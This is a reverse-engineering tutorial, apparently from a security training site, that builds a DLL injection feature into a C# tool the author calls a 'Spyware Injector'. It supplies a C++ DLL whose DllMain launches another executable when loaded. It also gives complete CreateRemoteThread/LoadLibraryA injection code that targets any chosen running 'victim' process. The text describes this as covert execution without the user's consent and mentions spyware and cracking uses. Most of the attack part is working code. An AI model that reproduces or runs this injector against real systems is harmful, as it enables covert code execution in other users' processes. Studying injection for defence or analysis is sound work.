Reverse engineering

Disassembler Mechanized Part 4: DLL Injector Development

Ajay Yadav
January 16, 2014 by
Ajay Yadav

Introduction

We have already presented a couple of papers on modifying binaries through IDA Pro and OllyDbg disassembler, where we added functionality to an executable by modifying the code directly, using code caves. However, there is a suitable alternative to this approach, in that added functionality code that can be put into a separate file, a DLL file, and this code can be called when the target binary is loaded. The code residing in the DLL usually referred to as malicious code either could run covertly, without being noticed by the user, or the moment when the main executable is loaded in memory, it is invoked automatically. In this, we don't need to find any code caves, which are empty segments in the existing executable, or worrying about offsets, in order to inject or execute mischievous code. Though the DLL injection mechanism could be implemented separately in a stand-alone application, for user convenience, we are merging this functionality in the software, with the development process having been elaborated in the "Disassembler Mechanized" series.

DLL Injection Internal

A DLL is typically a Dynamically Linked Library of executable code, referred to as API, which reduces the hassle of repeatedly reproducing common functions. Such API gives an impression of code reusability and can be utilized multiple times in diverse scenarios. The third party program only references the external function from the DLL, and it is loaded into memory and available for manipulation. DLL injection is a process of inserting external code into an existing running process of a machine, in which a piece of malevolent code is triggered-on automatically, without authority or the user's awareness. The code we usually insert is in the form of a dynamic link library (DLL) during this manipulation, since DLLs are meant to be loaded as needed at run time. DLL is very similar to .exe programs, as it has leverage with custom programming logic in form methods, which are called into another application by referencing it. But it can be differentiated by a single characteristic, which is that there is none of the entry-points in a DLL like an .exe file.

DLL Injection is a special tactic of injecting our own custom DLLs into an executable that wasn't initially set up to consume it. When the victim application loads and the injection happens, before any code of the application is run, the windows loader will load our DLL along with any others the application requires. Whatever piece of code placed inside the DLL main function will be run spontaneously, even without the consent of the user. We can alter the application (target binary) to call our DLL whenever we want to invoke it. Injected DLL is loaded into a running process of a machine; however, such techniques have been used for both genuine and malevolent purposes.Some applications inject external DLL later, to add features to a closed-source program. Apart from that, this procedure is very frequently used to spread out prevalent spyware programs. DLL Injection can be exhausted to perform multiple operations, for instance cracking an application, patching a binary, unpacking a binary, key generation and virus code writing.

Prerequisite

  • VC++
  • VS 2010 IDE
  • Process Explorer
  • IDA Pro (optional)
  • Target binary

FILL OUT THE FORM BELOW TO DOWNLOAD THE ACCOMPANYING LAB FILE. 

UI Design

DLL injection features could probably be the last implementation of this software. In fact, this operation functionality is not linked to other control of this software (Injector & Disassembler) like as others earlier. We have placed the entire necessary form controls in tabPage5 to show-off DLL injection as follows:

Control

Control Name

Event

Tab Control

tabControl1

tabPage1= C# code (Decompiled)

tabPage2= IL code (Decompiled)

tabPage3= MsgBox Injector

tabPage4= exe Injector

tabPage5= DLL Injection

tabControl1_SelectedIndexChanged

tabPage5= DLL Injection

List Box listProcess listProcess_SelectedIndexChanged

Textbox txtDllInject

Textbox txtProcess

Button btnDLLupload btnDLLupload _Click()

Button BtnRefresh BtnRefresh _Click()

Button btnInjectDLL btnInjectDLL_Click()

Label lblSt1

Label lblSt2

Label lblSt3

The Listbox control basically enumerates all the running machine processes in order to ease the selection of attaching processes (victim) during DLL injection. The first text box gathers the inject DLL full path via the upload button, and the second textbox displays the selected process from the list box. The Refresh button refreshes the list box in case some service is newly started or terminated. Finally the Inject DLL button injects the DLL into the selected process. Once all the aforesaid form control is placed and arranged in tabcontrol, the design looks something like:

Win32 DLL Development

The process of DLL injection is deemed to be a cumbersome task and typically passes through various phases. First, we have to develop the DLL. Indeed, this DLL is not a normal DLL which had been created easily by a visual studio Class Library project. Remember that point, the normal class library which contains a couple methods could not fit in this scenario because we can't define the trigger point for the methods invoking contained in C# class library DLL. Such operation in fact directly confronts with system threading processes to execute the logic contained in the DLL. Suppose we have created a C# DLL, which contains a method in which a message box implementation is defined.

So, how will we determine when the message box will be invoked? During DLL injection, we simply inject a DLL into the current running process; we don't actually define the event or something else to invoke the DLL methods. Hence, we shall go ahead with the following steps to make VC++ class library.

  • Open Visual Studio 2010 | New Project | Win32 Console Application | get a solution name as DLLlib | Hit OK button.
  • Hit Next | Select DLL as Application type | and Empty Project | Finish.
  • Go to Solution Explorer | right-click on Source Files | Add new C++ file | name it as xyz.cpp
  • Open the xyz.cpp file and paste the following code over there.

    [c]
    #include "Windows.h";

    BOOL APIENTRY DllMain( HMODULE hModule,DWORD trigger,LPVOID lpReserved)

    {

    switch (trigger)

    {

    case DLL_PROCESS_ATTACH:

    MessageBox(NULL, L"Hello! I am invoked from your EXE!", L"DLL Injected",

    MB_OK);

    ShellExecute (NULL, L"open", L"D:EncryptCrack.exe", NULL, NULL, SW_SHOW );

    break;
    case DLL_THREAD_ATTACH:

    break;

    case DLL_THREAD_DETACH:

    break;

    case DLL_PROCESS_DETACH:

    MessageBoxA(NULL, "!!!!!DLL Ejected!!!!!!", "", MB_OK);

    break;

    }

    return TRUE;

    }

    [/c]

  • Now build the solution using F6 (or from Build menu). If everything is put correct order, the solution builds successfully and DLLlib.dll would be created in the Debug folder of the DLLlib project.
  • We typically can't test it independently like an .exe file until we reference it into another solution. Although, rundll32.exe could streamline our objective to ad-hoc testing the functionality of DLL.

The rundll32.exe would execute the DllMain method of the DLLlib.dll by showing the message box and encryptCrack.exe consequently. The DLL file typically doesn't have an entry point, so it is not possible to directly execute it, even if we implement the message box invoking logic. Hence, we are using here, the DllMain method as an entry point of this DLL because we intend to show a message box or execute another .exe file from the DLL itself through this code.

[c]

BOOL APIENTRY DllMain( HMODULE hModule,DWORD trigger,LPVOID lpReserved)

{..}

[/c]

The prime objective of creating this kind of DLL is because we must implement a functionality which attaches a triggering event to a victim process, in order to execute such message box or executable, as we stated earlier. Hence, we shall use the DLL_PROCESS_ATTACH method to imitate the message box automatically while injecting the DLL into another process. Here, we can mention the message box or other .exe invoking code in the handle and in the DLL_PROCESS_DETACH handle, we could eject the injected DLL entry from the victim process as:

[c]

case DLL_PROCESS_ATTACH:

MessageBox(NULL, L"Hello! I am invoked from your EXE!", L"DLL Injected",

MB_OK);

ShellExecute (NULL, L"open", L"D:EncryptCrack.exe", NULL, NULL, SW_SHOW);

break;

case DLL_THREAD_ATTACH:

break;

case DLL_THREAD_DETACH:

break;

case DLL_PROCESS_DETACH:

MessageBoxA(NULL, "!!!!!DLL Ejected!!!!!!", "", MB_OK);

break;

[/c]

Getting Started

So, we have created the DLL in the previous section, which would be injected in the victim process covertly. Here, we achieve some rudimentary operation first, for instance calculating all running processes on the machine for this purpose, the ShowProcess() method is employed in which all the running process are added to List box as:

[c]

private void ShowProcess()

{

Process[] process = Process.GetProcesses();

foreach (Process prs in process)

{

listProcess.Items.Add(prs.ProcessName);

}

}

[/c]

Later, add a click SelectIndexChanged even handler for tabcontrol and place the ShowProcess() method definition there, so that when the user switches to a particular DLL injection tab, the list box populates with entire system process as:

[c]

private void tabControl1_SelectedIndexChanged(object sender, EventArgs e)

{

ShowProcess();

}

[/c]

When the user selects a process from the List box, its reference is placed in the text box automatically as:

[c]

private void listProcess_SelectedIndexChanged(object sender, EventArgs e)

{

txtProcess.Text = listProcess.SelectedItem.ToString();

}

[/c]

Although the list box shall populate all the system processes, in case of terminating an existing process or starting a new process, it is necessary to update the current running process in the list box as:

[c]

private void btnRefresh_Click(object sender, EventArgs e)

{

listProcess.Items.Clear();

ShowProcess();

}

[/c]

The Upload button is responsible for opening a file open dialog, in order to select the path of DLL file, which is going to be injected in the process.

[c]

private void btnDLLupload_Click(object sender, EventArgs e)

{

OpenFileDialog openDLL = new OpenFileDialog();

openDLL.Filter = "Library | *.dll";

if (openDLL.ShowDialog() == DialogResult.OK)

{

txtDLLInject.Text = openDLL.FileName;

}

}

[/c]

Injecting DLL Implementation

This section is showcasing the real action of DLL injection in the running system process. There are multiple ways for injecting a malevolent DLL into a process surreptitiously, mainly through Windows API or Debugging API. In Windows API, we have a couple of functions that allow us to attach and manipulate into other programs for debugging purposes and to perform the DLL Injection operation. Another method of DLL injection is to use the Windows provided API for debugging purposes. This allows us to keep the thread within the scope of which we are dealing. That is, we can save the registers, save the instruction pointer (EIP), and save the state of the stack. The DLL injection process typically breaks down into these steps:

  • Attach to the process.
  • Allocate Memory within the process.
  • Copy the DLL into the process's memory as well as determine appropriate memory addresses.
  • Instruct the process to execute your DLL.
  • Implement a Method to eject DLL from the running process.

Generally, a DLL is loaded into memory using a special stub (dummy modules) dropper, which is practiced by malicious programs. The stubs could be anything, for instance a Run-Once registry key, binary loader, or manipulated via Metasploit. In order to replicate the DLL, we need to complete the equivalent of our rundll32.exe command, and then the main function of the DLL can take care of the rest. Each one of aforesaid phases, however, can be accomplished through employing a couple of sophisticated programming techniques, which are summarized in the below figure.

As we stated earlier, this is a very complicated task, and we shall have to employ a couple of Windows API of kernal32.dll, in order to inject a DLL into running process. Here, we are actually trying to vacate a slot in the memory manually via threading and placing the DLL over there programmatically. We are going to write a series of Windows API definitions. The following code shall be placed after the constructor project. We are elaborating it step by step as:

CreateRemoteThread –We shall create an ad-hoc thread into the victim process in order to place the DLL. Hence, this method is positioning the information from the DLL into a new thread in the target victim process as:

[c]

[DllImport("kernel32")]

public static extern IntPtr CreateRemoteThread(

IntPtr hProcess,

IntPtr lpThreadAttributes,

uint dwStackSize,

UIntPtr lpStartAddress, // raw Pointer into remote process

IntPtr lpParameter,

uint dwCreationFlags,

out IntPtr lpThreadId

);

[/c]

OpenProcess - The OpenProcess() function obtains handle information from the process in order to interact with the process as well as maintaining certain access rights of the process.

[c]

[DllImport("kernel32.dll")]

public static extern IntPtr OpenProcess(

UInt32 dwDesiredAccess,

Int32 bInheritHandle,

Int32 dwProcessId

);

[/c]

CloseHandle – The CloseHandle() method disconnect the connection to the process in case of occurrence of any error while accessing the process.

[c]

[DllImport("kernel32.dll")]

public static extern Int32 CloseHandle(IntPtr hObject);

[/c]

VirtualFreeEx – This method takes some amount of memory to vacant the slot to execute the DLL because it is mandatory to free some data before placing any external data to an existing process.

[c]

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]

static extern bool VirtualFreeEx(

IntPtr hProcess,

IntPtr lpAddress,

UIntPtr dwSize,

uint dwFreeType

);

[/c]

GetProcAddress – This method obtains the address of a victim process.

[c]

[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true)]

public static extern UIntPtr GetProcAddress(IntPtr hModule,string procName);

[/c]

VirtualAllocEx –This method VirtualAllocEx() allocates adequate memory to funding a string which contains the path to the DLL. It typically allocates some memory which we are going to write to.

[c]

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]

static extern IntPtr VirtualAllocEx(

IntPtr hProcess,

IntPtr lpAddress,

uint dwSize,

uint flAllocationType,

uint flProtect

);

[/c]

WriteProcessMemory – Now, we shall use the WriteProcessMemory() method to copy the to-be-injected DLL to the victim process as:

[c]

[DllImport("kernel32.dll")]

static extern bool WriteProcessMemory(

IntPtr hProcess,

IntPtr lpBaseAddress,

string lpBuffer,

UIntPtr nSize,

out IntPtr lpNumberOfBytesWritten

);

[/c]

GetModuleHandle – We also need the handle of kernal32.dll, so it is passed on in the GetModuleHandle() as an argument.

[c]

[DllImport("kernel32.dll", CharSet = CharSet.Auto)]

public static extern IntPtr GetModuleHandle(string lpModuleName);

[/c]

WaitForSingleObject – This method waits for specific amount of time to confirm that the current thread is either free or busy.

[c]

[DllImport("kernel32", SetLastError = true, ExactSpelling = true)]

internal static extern Int32 WaitForSingleObject(

IntPtr handle,

Int32 milliseconds

);

[/c]

GetProcessId – It must mandatory to get the victim process ID or name on behalf of DLL injection so that further operation can carry on.

[c]

public Int32 GetProcessId(String proc)

{

Process[] ProcList;

ProcList = Process.GetProcessesByName(proc);

return ProcList[0].Id;

}

[/c]

So, we have finished with the definition of all essential Windows API so far. Now, we shall write the code in the DLLinjection() method one by one, which is the main method that performs DLL injection in the remote process and of course having the victim process and DLL name as an argument.

Hence, first we shall calculate the DLL length in order to allocate the slot to it in memory using VirutalAllocEx() method and then copy the target DLL in the allocated space using WriteProcessMemory() method. We therefore get the handle of kernal32.dll to interact with the victim process and place it in the CreateRemoteThread() which creates an ad-hoc thread for DLL. We later encounter with rest of the API, where we are confirming either the thread is busy or idle or finally freeing the virtual allocated slot from the memory VirtualFreeEx() method.

[c]

public void DLLinjection(IntPtr hProc, String DLLName)

{

IntPtr bytesout;

Int32 LenWrite = DLLName.Length + 1;

IntPtr Alloc_Memory = (IntPtr)VirtualAllocEx(hProc, (IntPtr)null, (uint)LenWrite,

0x1000, 0x40);

WriteProcessMemory(hProc, Alloc_Memory, DLLName, (UIntPtr)LenWrite, out bytesout);

UIntPtr Injector = (UIntPtr)GetProcAddress(GetModuleHandle("kernel32.dll"),

"LoadLibraryA");

if (Injector == null)

{

MessageBox.Show("Injector Error! n ");

return;

}

IntPtr hThread = (IntPtr)CreateRemoteThread(hProc, (IntPtr)null, 0, Injector,

Alloc_Memory, 0, out bytesout);

if (hThread == null)

{

MessageBox.Show(" Thread handle Error! n ");

return;

}

int Result = WaitForSingleObject(hThread, 10 * 1000);

if (Result == 0x00000080L || Result == 0x00000102L || Result == 0x10000)

{

MessageBox.Show(" Thread timeout Error! n ");

if (hThread != null)

{

CloseHandle(hThread);

}

return;

}

Thread.Sleep(1000);

VirtualFreeEx(hProc, Alloc_Memory, (UIntPtr)0, 0x8000);

if (hThread != null)

{

CloseHandle(hThread);

}

return;

}

[/c]

After that, it is time to call this method in the Inject DLL button where we first gather the information about the selected process and DLL path, then get the ID of the running victim process. First, it is checking whether the process is running or not, and then tries to open that process. If the code found the essential details about process and DLL, then DLLinjection() method is called, followed by a method which contains the definition about the status of operations.

[c]

private void btnInjectDLL_Click(object sender, EventArgs e)

{

String dllName = txtDLLInject.Text;

String Process_Name = txtProcess.Text;

if (dllName != "" && Process_Name != "")

{

Int32 ProcID = GetProcessId(Process_Name);

if (ProcID >= 0)

{

IntPtr h_Process = (IntPtr)OpenProcess(0x1F0FFF, 1, ProcID);

if (h_Process == null)

{

lblSt3.Text = " Failed to Open Process";

return;

}

else

{

DLLinjection(h_Process, dllName);

operationStatus(ProcID, Process_Name, dllName);

}

}

}

else

{

MessageBox.Show("Select Process to Inject");

return;

}

}

[/c]

The operationStatus() method typically contains some label controls which show the information about the injected DLL, victim process, and finally whether the DLL injection is successful or not.

[c]

private void operationStatus(Int32 id, string pn,string dn)

{

lblSt1.Text = "Injecting [" + dn + "] into [" + pn + "]....";

lblSt2.Text = "Opening [" + pn + "] with [" + id + "] id :";

lblSt3.Text = " Success";

}

[/c]

So, we are done with the coding of DLL injection, now we compile the solution using F9 and run the executable.

Testing

Open the Spyware Injector & Decompiler software after compiling it successfully and go to DLL injection tab. Here, we find all the running machine processes in the List box control. The moment we select anyone, for example notepad, is placed in the corresponding Process textbox and becomes the victim process. Finally, after hitting the Inject DLL button, DLLlib.dll is injected in the Notepad process as follows:

After hitting the OK button in the message, another spyware program EncryptCrack.exe is started, and the moment we close or terminate the notepad, we shall see the message box about DLL ejection.

Final Note

This paper describes DLL injection, which is a very sophisticated method implementation because we don't have either the source code of the victim process or empty slots in memory to put the injected DLL like we do with code caves. We have to create the virtual memory locations , open the process, and copy the DLL through Windows API of kernal32.dll, as well as learn how to create the special inject DLL which has DllMain function as an entry point. Finally, this article demonstrates how to inject a DLL into any running process of the machine as well as activate another process which definition was also coded in the DLL file. In the next articles, we shall perform a comprehensive post-mortem analysis of all the features of this software.

Reference

It is mandatory to go through all the Disassembler Mechanized articles in this series.

https://resources.infosecinstitute.com/disassem-mech-part-1-coding-disassembler/

Ajay Yadav
Ajay Yadav

Ajay Yadav is an author, Cyber Security Specialist, SME, Software Engineer, and System Programmer with more than eight years of work experience. He earned a Master and Bachelor Degree in Computer Science, along with abundant premier professional certifications. For several years, he has been researching Reverse Engineering, Secure Source Coding, Advance Software Debugging, Vulnerability Assessment, System Programming and Exploit Development.

He is a regular contributor to programming journal and assistance developer community with blogs, research articles, tutorials, training material and books on sophisticated technology. His spare time activity includes tourism, movies and meditation. He can be reached at om.ajay007[at]gmail[dot]com